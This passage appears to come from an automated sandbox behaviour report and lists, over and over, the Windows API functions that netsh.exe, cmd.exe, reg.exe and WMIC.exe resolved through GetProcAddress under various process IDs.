CreateFontIndirectW (UID: 00000000-00004364) "netsh.exe" called "GetProcAddress" with a parameter CreateSolidBrush (UID: 00000000-00004364) "netsh.exe" called "GetProcAddress" with a parameter DeleteDC (UID: 00000000-00004364) "netsh.exe" called "GetProcAddress" with a parameter DeleteObject (UID: 00000000-00004364) "netsh.exe" called "GetProcAddress" with a parameter GdiAlphaBlend (UID: 00000000-00004364) "netsh.exe" called "GetProcAddress" with a parameter GdiGradientFill (UID: 00000000-00004364) "netsh.exe" called "GetProcAddress" with a parameter GetCurrentObject (UID: 00000000-00004364) "netsh.exe" called "GetProcAddress" with a parameter GetDIBits (UID: 00000000-00004364) "netsh.exe" called "GetProcAddress" with a parameter GetDeviceCaps (UID: 00000000-00004364) "netsh.exe" called "GetProcAddress" with a parameter GetObjectW (UID: 00000000-00004364) "netsh.exe" called "GetProcAddress" with a parameter GetStockObject (UID: 00000000-00004364) "netsh.exe" called "GetProcAddress" with a parameter SelectObject (UID: 00000000-00004364) "netsh.exe" called "GetProcAddress" with a parameter SetBkMode (UID: 00000000-00004364) "netsh.exe" called "GetProcAddress" with a parameter SetTextColor (UID: 00000000-00004364) "netsh.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00004364) "netsh.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00004364) "netsh.exe" called "GetProcAddress" with a parameter GetUserPreferredUILanguages (UID: 00000000-00004364) "netsh.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00004364) "netsh.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00004364) "netsh.exe" called "GetProcAddress" with a parameter MulDiv (UID: 00000000-00004364) "netsh.exe" called "GetProcAddress" with a parameter MultiByteToWideChar (UID: 00000000-00004364) "netsh.exe" called "GetProcAddress" with a parameter SleepEx (UID: 00000000-00004364) "netsh.exe" called "GetProcAddress" with a parameter WinSqmAddToStream (UID: 00000000-00004364) "netsh.exe" called "GetProcAddress" with a parameter DrawTextExW (UID: 00000000-00004364) "netsh.exe" called "GetProcAddress" with a parameter EnumDisplaySettingsW (UID: 00000000-00004364) "netsh.exe" called "GetProcAddress" with a parameter FillRect (UID: 00000000-00004364) "netsh.exe" called "GetProcAddress" with a parameter GetDC (UID: 00000000-00004364) "netsh.exe" called "GetProcAddress" with a parameter GetDCEx (UID: 00000000-00004364) "netsh.exe" called "GetProcAddress" with a parameter GetDesktopWindow (UID: 00000000-00004364) "netsh.exe" called "GetProcAddress" with a parameter GetMonitorInfoW (UID: 00000000-00004364) "netsh.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00004364) "netsh.exe" called "GetProcAddress" with a parameter GetSysColor (UID: 00000000-00004364) "netsh.exe" called "GetProcAddress" with a parameter GetSystemMetrics (UID: 00000000-00004364) "netsh.exe" called "GetProcAddress" with a parameter GetThreadDesktop (UID: 00000000-00004364) "netsh.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00004364) "netsh.exe" called "GetProcAddress" with a parameter InvalidateRect (UID: 00000000-00004364) "netsh.exe" called "GetProcAddress" with a parameter LogicalToPhysicalPointForPerMonitorDPI (UID: 00000000-00004364) "netsh.exe" called "GetProcAddress" with a parameter MonitorFromWindow (UID: 00000000-00004364) "netsh.exe" called "GetProcAddress" with a parameter OffsetRect (UID: 00000000-00004364) "netsh.exe" called "GetProcAddress" with a parameter RedrawWindow (UID: 00000000-00004364) "netsh.exe" called "GetProcAddress" with a parameter ReleaseDC (UID: 00000000-00004364) "netsh.exe" called "GetProcAddress" with a parameter SystemParametersInfoW (UID: 00000000-00004364) "netsh.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00004364) "netsh.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00004364) "netsh.exe" called "GetProcAddress" with a parameter RegisterGPNotification (UID: 00000000-00004364) "netsh.exe" called "GetProcAddress" with a parameter UnregisterGPNotification (UID: 00000000-00004364) "netsh.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00004364) "netsh.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00004364) "netsh.exe" called "GetProcAddress" with a parameter RtlDllShutdownInProgress (UID: 00000000-00004364) "cmd.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00004760) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00004760) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00004760) "cmd.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00004760) "cmd.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00004760) "cmd.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00004760) "netsh.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00007560) "netsh.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00007560) "netsh.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00007560) "netsh.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00007560) "netsh.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00007560) "netsh.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00007560) "netsh.exe" called "GetProcAddress" with a parameter BitBlt (UID: 00000000-00007560) "netsh.exe" called "GetProcAddress" with a parameter CreateCompatibleBitmap (UID: 00000000-00007560) "netsh.exe" called "GetProcAddress" with a parameter CreateCompatibleDC (UID: 00000000-00007560) "netsh.exe" called "GetProcAddress" with a parameter CreateDIBSection (UID: 00000000-00007560) "netsh.exe" called "GetProcAddress" with a parameter CreateFontIndirectW (UID: 00000000-00007560) "netsh.exe" called "GetProcAddress" with a parameter CreateSolidBrush (UID: 00000000-00007560) "netsh.exe" called "GetProcAddress" with a parameter DeleteDC (UID: 00000000-00007560) "netsh.exe" called "GetProcAddress" with a parameter DeleteObject (UID: 00000000-00007560) "netsh.exe" called "GetProcAddress" with a parameter GdiAlphaBlend (UID: 00000000-00007560) "netsh.exe" called "GetProcAddress" with a parameter GdiGradientFill (UID: 00000000-00007560) "netsh.exe" called "GetProcAddress" with a parameter GetCurrentObject (UID: 00000000-00007560) "netsh.exe" called "GetProcAddress" with a parameter GetDIBits (UID: 00000000-00007560) "netsh.exe" called "GetProcAddress" with a parameter GetDeviceCaps (UID: 00000000-00007560) "netsh.exe" called "GetProcAddress" with a parameter GetObjectW (UID: 00000000-00007560) "netsh.exe" called "GetProcAddress" with a parameter GetStockObject (UID: 00000000-00007560) "netsh.exe" called "GetProcAddress" with a parameter SelectObject (UID: 00000000-00007560) "netsh.exe" called "GetProcAddress" with a parameter SetBkMode (UID: 00000000-00007560) "netsh.exe" called "GetProcAddress" with a parameter SetTextColor (UID: 00000000-00007560) "netsh.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00007560) "netsh.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00007560) "netsh.exe" called "GetProcAddress" with a parameter GetUserPreferredUILanguages (UID: 00000000-00007560) "netsh.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00007560) "netsh.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00007560) "netsh.exe" called "GetProcAddress" with a parameter MulDiv (UID: 00000000-00007560) "netsh.exe" called "GetProcAddress" with a parameter MultiByteToWideChar (UID: 00000000-00007560) "netsh.exe" called "GetProcAddress" with a parameter SleepEx (UID: 00000000-00007560) "netsh.exe" called "GetProcAddress" with a parameter WinSqmAddToStream (UID: 00000000-00007560) "netsh.exe" called "GetProcAddress" with a parameter DrawTextExW (UID: 00000000-00007560) "netsh.exe" called "GetProcAddress" with a parameter EnumDisplaySettingsW (UID: 00000000-00007560) "netsh.exe" called "GetProcAddress" with a parameter FillRect (UID: 00000000-00007560) "netsh.exe" called "GetProcAddress" with a parameter GetDC (UID: 00000000-00007560) "netsh.exe" called "GetProcAddress" with a parameter GetDCEx (UID: 00000000-00007560) "netsh.exe" called "GetProcAddress" with a parameter GetDesktopWindow (UID: 00000000-00007560) "netsh.exe" called "GetProcAddress" with a parameter GetMonitorInfoW (UID: 00000000-00007560) "netsh.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00007560) "netsh.exe" called "GetProcAddress" with a parameter GetSysColor (UID: 00000000-00007560) "netsh.exe" called "GetProcAddress" with a parameter GetSystemMetrics (UID: 00000000-00007560) "netsh.exe" called "GetProcAddress" with a parameter GetThreadDesktop (UID: 00000000-00007560) "netsh.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00007560) "netsh.exe" called "GetProcAddress" with a parameter InvalidateRect (UID: 00000000-00007560) "netsh.exe" called "GetProcAddress" with a parameter LogicalToPhysicalPointForPerMonitorDPI (UID: 00000000-00007560) "netsh.exe" called "GetProcAddress" with a parameter MonitorFromWindow (UID: 00000000-00007560) "netsh.exe" called "GetProcAddress" with a parameter OffsetRect (UID: 00000000-00007560) "netsh.exe" called "GetProcAddress" with a parameter RedrawWindow (UID: 00000000-00007560) "netsh.exe" called "GetProcAddress" with a parameter ReleaseDC (UID: 00000000-00007560) "netsh.exe" called "GetProcAddress" with a parameter SystemParametersInfoW (UID: 00000000-00007560) "netsh.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00007560) "netsh.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00007560) "netsh.exe" called "GetProcAddress" with a parameter RegisterGPNotification (UID: 00000000-00007560) "netsh.exe" called "GetProcAddress" with a parameter UnregisterGPNotification (UID: 00000000-00007560) "netsh.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00007560) "netsh.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00007560) "netsh.exe" called "GetProcAddress" with a parameter RtlDllShutdownInProgress (UID: 00000000-00007560) "cmd.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00007936) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00007936) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00007936) "cmd.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00007936) "cmd.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00007936) "cmd.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00007936) "netsh.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00005936) "netsh.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00005936) "netsh.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00005936) "netsh.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00005936) "netsh.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00005936) "netsh.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00005936) "netsh.exe" called "GetProcAddress" with a parameter BitBlt (UID: 00000000-00005936) "netsh.exe" called "GetProcAddress" with a parameter CreateCompatibleBitmap (UID: 00000000-00005936) "netsh.exe" called "GetProcAddress" with a parameter CreateCompatibleDC (UID: 00000000-00005936) "netsh.exe" called "GetProcAddress" with a parameter CreateDIBSection (UID: 00000000-00005936) "netsh.exe" called "GetProcAddress" with a parameter CreateFontIndirectW (UID: 00000000-00005936) "netsh.exe" called "GetProcAddress" with a parameter CreateSolidBrush (UID: 00000000-00005936) "netsh.exe" called "GetProcAddress" with a parameter DeleteDC (UID: 00000000-00005936) "netsh.exe" called "GetProcAddress" with a parameter DeleteObject (UID: 00000000-00005936) "netsh.exe" called "GetProcAddress" with a parameter GdiAlphaBlend (UID: 00000000-00005936) "netsh.exe" called "GetProcAddress" with a parameter GdiGradientFill (UID: 00000000-00005936) "netsh.exe" called "GetProcAddress" with a parameter GetCurrentObject (UID: 00000000-00005936) "netsh.exe" called "GetProcAddress" with a parameter GetDIBits (UID: 00000000-00005936) "netsh.exe" called "GetProcAddress" with a parameter GetDeviceCaps (UID: 00000000-00005936) "netsh.exe" called "GetProcAddress" with a parameter GetObjectW (UID: 00000000-00005936) "netsh.exe" called "GetProcAddress" with a parameter GetStockObject (UID: 00000000-00005936) "netsh.exe" called "GetProcAddress" with a parameter SelectObject (UID: 00000000-00005936) "netsh.exe" called "GetProcAddress" with a parameter SetBkMode (UID: 00000000-00005936) "netsh.exe" called "GetProcAddress" with a parameter SetTextColor (UID: 00000000-00005936) "netsh.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00005936) "netsh.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00005936) "netsh.exe" called "GetProcAddress" with a parameter GetUserPreferredUILanguages (UID: 00000000-00005936) "netsh.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00005936) "netsh.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00005936) "netsh.exe" called "GetProcAddress" with a parameter MulDiv (UID: 00000000-00005936) "netsh.exe" called "GetProcAddress" with a parameter MultiByteToWideChar (UID: 00000000-00005936) "netsh.exe" called "GetProcAddress" with a parameter SleepEx (UID: 00000000-00005936) "netsh.exe" called "GetProcAddress" with a parameter WinSqmAddToStream (UID: 00000000-00005936) "netsh.exe" called "GetProcAddress" with a parameter DrawTextExW (UID: 00000000-00005936) "netsh.exe" called "GetProcAddress" with a parameter EnumDisplaySettingsW (UID: 00000000-00005936) "netsh.exe" called "GetProcAddress" with a parameter FillRect (UID: 00000000-00005936) "netsh.exe" called "GetProcAddress" with a parameter GetDC (UID: 00000000-00005936) "netsh.exe" called "GetProcAddress" with a parameter GetDCEx (UID: 00000000-00005936) "netsh.exe" called "GetProcAddress" with a parameter GetDesktopWindow (UID: 00000000-00005936) "netsh.exe" called "GetProcAddress" with a parameter GetMonitorInfoW (UID: 00000000-00005936) "netsh.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00005936) "netsh.exe" called "GetProcAddress" with a parameter GetSysColor (UID: 00000000-00005936) "netsh.exe" called "GetProcAddress" with a parameter GetSystemMetrics (UID: 00000000-00005936) "netsh.exe" called "GetProcAddress" with a parameter GetThreadDesktop (UID: 00000000-00005936) "netsh.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00005936) "netsh.exe" called "GetProcAddress" with a parameter InvalidateRect (UID: 00000000-00005936) "netsh.exe" called "GetProcAddress" with a parameter LogicalToPhysicalPointForPerMonitorDPI (UID: 00000000-00005936) "netsh.exe" called "GetProcAddress" with a parameter MonitorFromWindow (UID: 00000000-00005936) "netsh.exe" called "GetProcAddress" with a parameter OffsetRect (UID: 00000000-00005936) "netsh.exe" called "GetProcAddress" with a parameter RedrawWindow (UID: 00000000-00005936) "netsh.exe" called "GetProcAddress" with a parameter ReleaseDC (UID: 00000000-00005936) "netsh.exe" called "GetProcAddress" with a parameter SystemParametersInfoW (UID: 00000000-00005936) "netsh.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00005936) "netsh.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00005936) "netsh.exe" called "GetProcAddress" with a parameter RegisterGPNotification (UID: 00000000-00005936) "netsh.exe" called "GetProcAddress" with a parameter UnregisterGPNotification (UID: 00000000-00005936) "netsh.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005936) "netsh.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00005936) "netsh.exe" called "GetProcAddress" with a parameter RtlDllShutdownInProgress (UID: 00000000-00005936) "cmd.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00005560) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00005560) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00005560) "cmd.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00005560) "cmd.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00005560) "cmd.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00005560) "cmd.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00006928) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00006928) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00006928) "cmd.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00006928) "cmd.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00006928) "cmd.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00006928) "reg.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00001164) "reg.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00001164) "reg.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00001164) "reg.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00001164) "reg.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00001164) "reg.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00001164) "cmd.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00006992) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00006992) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00006992) "cmd.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00006992) "cmd.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00006992) "cmd.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00006992) "cmd.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00006124) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00006124) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00006124) "cmd.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00006124) "cmd.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00006124) "cmd.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00006124) "cmd.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00007624) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00007624) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00007624) "cmd.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00007624) "cmd.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00007624) "cmd.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00007624) "cmd.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00001316) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00001316) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00001316) "cmd.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00001316) "cmd.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00001316) "cmd.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00001316) "cmd.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00008972) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00008972) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00008972) "cmd.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00008972) "cmd.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00008972) "cmd.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00008972) "WMIC.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00004424) "WMIC.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00004424) "WMIC.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00004424) "WMIC.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00004424) "WMIC.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00004424) "WMIC.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00004424) "WMIC.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00004424) "WMIC.exe" called "GetProcAddress" with a parameter FindActCtxSectionStringW (UID: 00000000-00004424) "WMIC.exe" called "GetProcAddress" with a parameter HeapSetInformation (UID: 00000000-00004424) "WMIC.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00004424) "WMIC.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00004424) "WMIC.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00004424) "WMIC.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00004424) "WMIC.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00004424) "WMIC.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00004424) "WMIC.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00004424) "WMIC.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00004424) "WMIC.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00004424) "WMIC.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00004424) "WMIC.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00004424) "WMIC.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00004424) "WMIC.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00004424) "WMIC.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00004424) "WMIC.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00004424) "WMIC.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00004424) "WMIC.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00004424) "WMIC.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00004424) "WMIC.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00004424) "WMIC.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00004424) "WMIC.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00004424) "WMIC.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00004424) "WMIC.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00004424) "WMIC.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00004424) "WMIC.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00004424) "WMIC.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00004424) "WMIC.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00004424) "WMIC.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00004424) "WMIC.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00004424) "WMIC.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00004424) "WMIC.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00004424) "WMIC.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00004424) "WMIC.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00004424) "WMIC.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00004424) "WMIC.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00004424) "WMIC.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00004424) "WMIC.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00004424) "WMIC.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00004424) "WMIC.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00004424) "WMIC.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00004424) "WMIC.exe" called "GetProcAddress" with a parameter RtlRegisterFeatureConfigurationChangeNotification (UID: 00000000-00004424) "WMIC.exe" called "GetProcAddress" with a parameter NtQueryWnfStateData (UID: 00000000-00004424) "WMIC.exe" called "GetProcAddress" with a parameter RtlSubscribeWnfStateChangeNotification (UID: 00000000-00004424) "WMIC.exe" called "GetProcAddress" with a parameter RtlDisownModuleHeapAllocation (UID: 00000000-00004424) "WMIC.exe" called "GetProcAddress" with a parameter RtlQueryFeatureConfiguration (UID: 00000000-00004424) "WMIC.exe" called "GetProcAddress" with a parameter RtlDllShutdownInProgress (UID: 00000000-00004424) "WMIC.exe" called "GetProcAddress" with a parameter QueryProtectedPolicy (UID: 00000000-00004424) "WMIC.exe" called "GetProcAddress" with a parameter AmsiInitialize (UID: 00000000-00004424) "WMIC.exe" called "GetProcAddress" with a parameter AmsiScanString (UID: 00000000-00004424) "WMIC.exe" called "GetProcAddress" with a parameter AmsiUninitialize (UID: 00000000-00004424) "WMIC.exe" called "GetProcAddress" with a parameter RtlUnregisterFeatureConfigurationChangeNotification (UID: 00000000-00004424) "WMIC.exe" called "GetProcAddress" with a parameter RtlUnsubscribeWnfNotificationWaitForCompletion (UID: 00000000-00004424) "cmd.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00008028) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00008028) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00008028) "cmd.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00008028) "cmd.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00008028) "cmd.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00008028) "WMIC.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00004700) "WMIC.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00004700) "WMIC.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00004700) "WMIC.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00004700) "WMIC.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00004700) "WMIC.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00004700) "WMIC.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00004700) "WMIC.exe" called "GetProcAddress" with a parameter FindActCtxSectionStringW (UID: 00000000-00004700) "WMIC.exe" called "GetProcAddress" with a parameter HeapSetInformation (UID: 00000000-00004700) "WMIC.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00004700) "WMIC.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00004700) "WMIC.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00004700) "WMIC.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00004700) "WMIC.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00004700) "WMIC.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00004700) "WMIC.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00004700) "WMIC.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00004700) "WMIC.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00004700) "WMIC.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00004700) "WMIC.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00004700) "WMIC.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00004700) "WMIC.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00004700) "WMIC.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00004700) "WMIC.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00004700) "WMIC.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00004700) "WMIC.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00004700) "WMIC.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00004700) "WMIC.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00004700) "WMIC.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00004700) "WMIC.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00004700) "WMIC.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00004700) "WMIC.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00004700) "WMIC.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 